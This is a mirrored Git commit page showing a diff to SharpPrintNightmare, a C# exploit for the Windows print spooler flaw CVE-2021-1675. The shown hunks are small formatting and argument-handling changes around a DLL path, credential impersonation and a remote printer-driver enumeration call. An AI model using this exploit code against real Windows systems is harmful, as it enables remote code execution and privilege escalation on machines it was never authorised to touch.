1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2025-07-06 01:41:12 +01:00

New python version with MS-PAR

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
cube0x0 2021-07-04 16:33:25 +02:00
parent bab7974d75
commit 56c1f8668e
11 changed files with 176 additions and 8 deletions

View file

@ -65,8 +65,8 @@ namespace SharpPrintNightmare
Environment.Exit(0);
}
dllpath = args[0];
if(args.Length > 1)
if (args.Length > 1)
{
pDriverPath = args[1];
}
@ -103,7 +103,7 @@ namespace SharpPrintNightmare
user = args[4];
password = args[5];
}
//runas /netonly
using (new Impersonator.Impersonation(domain, user, password))
{
@ -171,7 +171,7 @@ namespace SharpPrintNightmare
uint cbNeeded = 0;
uint cReturned = 0;
//path = "\\\\192.168.1.20";
if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
{
//succeeds, but shouldn't, because buffer is zero (too small)!